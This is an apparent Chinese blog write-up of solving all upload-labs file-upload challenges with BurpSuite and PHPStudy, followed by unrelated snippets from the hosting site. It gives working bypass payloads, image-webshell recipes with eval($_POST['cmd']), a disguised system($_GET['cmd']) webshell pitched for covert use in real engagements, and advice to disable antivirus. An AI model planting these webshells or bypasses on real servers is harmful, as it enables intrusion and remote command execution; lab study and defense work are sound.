news 2026/5/1 12:31:16

从靶场到实战:用BurpSuite和PHPStudy复现upload-labs 19关的完整心路历程

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
从靶场到实战:用BurpSuite和PHPStudy复现upload-labs 19关的完整心路历程

从靶场到实战:用BurpSuite和PHPStudy复现upload-labs 19关的完整心路历程

第一次接触upload-labs靶场时,我完全是个安全小白。看着那些看似简单的文件上传界面,却隐藏着各种精妙设计的防御机制,每一步操作都像在解谜。本文将分享我如何从零开始搭建环境、使用工具,最终通关全部19关的完整过程,希望能给同样刚入门的你一些启发。

1. 环境搭建与工具准备

1.1 PHPStudy的安装与配置

作为Windows用户,我选择了PHPStudy作为本地服务器环境。安装过程看似简单,但有几个关键点需要注意:

  • 版本选择:upload-labs需要PHP 5.2-5.4版本才能完整复现所有漏洞(特别是%00截断相关漏洞)。我最终选择了PHPStudy 2016版,内置PHP 5.4.45。
  • 必要组件:在PHP设置中需要确保以下扩展已启用:
    extension=php_exif.dll extension=php_gd2.dll

安装完成后,将upload-labs项目放入WWW目录,访问时却遇到了第一个坑——部分关卡无法正常显示上传结果。通过查看Apache错误日志发现需要修改httpd.conf:

# 原始配置 #AddType application/x-httpd-php .php .phtml # 修改后配置 AddType application/x-httpd-php .php .phtml .php5 .php3

1.2 BurpSuite的基础配置

BurpSuite是本次实战的核心工具,配置不当会导致抓包失败。我的配置步骤如下:

  1. 浏览器代理设置:Firefox需手动配置代理为127.0.0.1:8080
  2. CA证书安装:访问http://burp下载证书,导入到浏览器受信任的根证书颁发机构
  3. 关键功能熟悉
    • Proxy模块用于拦截和修改请求
    • Repeater用于重复测试特定请求
    • Intruder用于自动化爆破测试

注意:Windows Defender可能会拦截Burp的某些操作,测试时需要临时关闭实时保护。

2. 通关实战:从基础绕过到高级利用

2.1 前端验证的三种破解方式(Pass-01)

第一关看似简单,却教会了我重要的思维方式——不要相信客户端验证。通过查看网页源码发现前端JS验证:

function checkFile() { var file = document.getElementsByName('upload_file')[0].value; if (!file || file.length == 0) { alert("请选择要上传的文件!"); return false; } // 验证后缀名 if (file.lastIndexOf(".jpg") == -1 && file.lastIndexOf(".png") == -1) { alert("只允许上传jpg/png文件!"); return false; } }

我尝试了三种绕过方法:

  1. 禁用浏览器JS:在Firefox中按F12 → 调试器 → 设置 → 禁用JavaScript
  2. 本地重构表单
    • 保存网页为HTML文件
    • 删除验证函数
    • 添加form的action属性:action="http://localhost/upload-labs/Pass-01/index.php"
  3. Burp拦截修改
    • 上传合法jpg文件
    • 拦截请求修改filename为shell.php
    • 修改Content-Type为image/jpeg

2.2 黑名单绕过的进阶技巧(Pass-03~Pass-10)

从第三关开始,靶场采用服务端黑名单验证。通过源码审计发现关键代码:

$deny_ext = array('.asp','.aspx','.php','.jsp'); $file_ext = strtolower($file_ext); // 转换小写 $file_ext = str_ireplace('::$DATA', '', $file_ext); // 去除::$DATA $file_ext = trim($file_ext); // 收尾去空

我系统性地尝试了多种绕过技术:

关卡绕过方式修改示例原理说明
Pass-03非常规后缀shell.php5Apache配置解析漏洞
Pass-05大小写混合shell.PhPWindows系统大小写不敏感
Pass-06空格截断shell.php[空格]Windows自动去除末尾空格
Pass-07点号截断shell.php.特殊字符处理缺陷
Pass-08NTFS特性shell.php::$DATAWindows文件流特性
Pass-10双写绕过shell.pphphp替换逻辑缺陷

其中Pass-04的.htaccess利用最具教学意义。我创建了包含以下内容的文件:

AddType application/x-httpd-php .png

先上传此文件,再上传包含PHP代码的png文件,即可实现任意代码执行。

2.3 白名单与条件竞争(Pass-11~Pass-18)

当遇到白名单验证时,常规绕过方法失效。Pass-11展示了经典的%00截断技术:

  1. 上传合法jpg文件
  2. Burp拦截修改POST参数:
    save_path=../upload/shell.php%00
  3. 需要满足环境条件:
    • PHP版本<5.3.4
    • magic_quotes_gpc=Off

Pass-17则引入了条件竞争漏洞。我使用Burp Intruder进行自动化攻击:

  1. 配置攻击类型为"Pitchfork"
  2. 设置两个payload:
    • Payload 1:上传请求(持续发送)
    • Payload 2:访问请求(持续发送)
  3. 线程数设置为30,开始攻击
POST /upload-labs/Pass-17/index.php HTTP/1.1 Host: localhost Content-Length: 462 [...] -----------------------------223722916926728 Content-Disposition: form-data; name="upload_file"; filename="shell.php" Content-Type: application/octet-stream <?php phpinfo();?>

3. 高级利用:二次渲染与自定义解析

3.1 图片马的制作与检测绕过(Pass-13~Pass-15)

当靶场检测文件内容时,需要制作能绕过检测的图片马。我总结了三种制作方法:

  1. 十六进制编辑法
    # 使用dd命令合并文件 dd if=original.jpg of=webshell.jpg bs=1 conv=notrunc echo '<?php eval($_POST["cmd"]);?>' >> webshell.jpg
  2. Windows命令法
    copy /b test.jpg + shell.php webshell.jpg
  3. 专业工具法
    • 使用GIMP等工具在图片元数据中插入代码
    • 使用exiftool修改EXIF信息

针对不同检测函数需要不同处理:

检测函数绕过方法文件头特征
getimagesize()添加合法文件头GIF89a
exif_imagetype()确保前2字节正确FF D8 (JPEG)
mime_content_type()修改Content-Typeimage/jpeg

3.2 二次渲染的对抗技巧(Pass-16)

这关让我真正理解了图像处理函数的危险性。通过Beyond Compare对比原始图片和渲染后图片:

  1. 上传正常jpg和包含代码的jpg
  2. 下载服务器端渲染后的文件
  3. 使用对比工具找出未被修改的部分
  4. 在保留区域插入PHP代码

我发现在JPEG的注释段(FF FE)和APPn标记段插入代码最有可能保留。最终使用的payload格式:

FF D8 FF E0 00 10 4A 46 49 46 00 01 01 01 00 48 00 48 00 00 FF FE 00 13 3C 3F 70 68 70 20 70 68 70 69 6E 66 6F 28 29 3B 20 3F 3E

4. 实战思维:从靶场到真实场景

4.1 漏洞原理的深度理解

通过这19关的实战,我总结出文件上传漏洞的三大核心防御缺陷:

  1. 验证不彻底

    • 只验证Content-Type
    • 只检查文件头
    • 不检查文件实际内容
  2. 解析不一致

    • Web服务器与系统解析差异
    • 中间件配置错误
    • 文件命名处理缺陷
  3. 逻辑缺陷

    • 条件竞争
    • 删除操作延迟
    • 权限控制缺失

4.2 真实环境中的注意事项

靶场环境与真实渗透测试有很大区别,需要特别注意:

  • 法律合规:确保获得书面授权后再进行测试
  • 环境差异:真实系统可能有WAF、杀毒软件等防护
  • 隐蔽性要求:避免使用明显特征(如phpinfo())
  • 权限控制:上传后可能需要结合其他漏洞提权

在真实项目中,我通常会采用更隐蔽的测试方法:

<?php // 更隐蔽的webshell if(isset($_GET['cmd'])){ header('Content-Type: text/plain'); system($_GET['cmd']); die(); } // 伪装成正常文件 echo 'This is a test image file.'; ?>

4.3 防御方案的多层设计

从防御者角度,我总结了有效的防护策略:

  1. 前端防护

    • 文件类型白名单验证
    • 文件重命名(MD5+后缀)
  2. 服务端防护

    $finfo = finfo_open(FILEINFO_MIME_TYPE); $mime = finfo_file($finfo, $_FILES['file']['tmp_name']); finfo_close($finfo); $allowed = ['image/jpeg', 'image/png']; if(!in_array($mime, $allowed)){ die('Invalid file type'); }
  3. 系统层防护

    • 上传目录禁用脚本执行
    • 设置open_basedir限制
    • 定期安全扫描

整个通关过程让我深刻体会到,安全研究不仅是工具的使用,更是对系统运作原理的深入理解。每解决一个关卡,都需要思考防御者的设计意图和攻击者的突破路径。这种对抗性思维,才是安全工程师最核心的能力。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/5/1 12:27:23

Preswald:基于WebAssembly的浏览器内全栈数据应用开发指南

1. 项目概述&#xff1a;一个能在浏览器里跑完整数据栈的“魔法盒子”如果你经常和数据打交道&#xff0c;肯定遇到过这样的场景&#xff1a;辛辛苦苦用Python写了个数据分析脚本&#xff0c;配好了图表&#xff0c;想分享给业务同事看。结果对方要么没装Python环境&#xff0c…

作者头像 李华
网站建设 2026/5/1 12:26:23

AutoClicker终极指南:5个技巧让你轻松实现Windows鼠标自动化

AutoClicker终极指南&#xff1a;5个技巧让你轻松实现Windows鼠标自动化 【免费下载链接】AutoClicker AutoClicker is a useful simple tool for automating mouse clicks. 项目地址: https://gitcode.com/gh_mirrors/au/AutoClicker 想要摆脱重复的鼠标点击工作吗&…

作者头像 李华
网站建设 2026/5/1 12:25:24

对比官方价格Taotoken提供的折扣与活动价如何节省成本

通过Taotoken聚合平台实现大模型调用成本优化 1. Taotoken的定价优势 Taotoken作为大模型聚合分发平台&#xff0c;通过与多家模型供应商的合作关系&#xff0c;为用户提供了更具竞争力的调用价格。平台采用透明的按token计费方式&#xff0c;所有价格信息都可以在控制台清晰…

作者头像 李华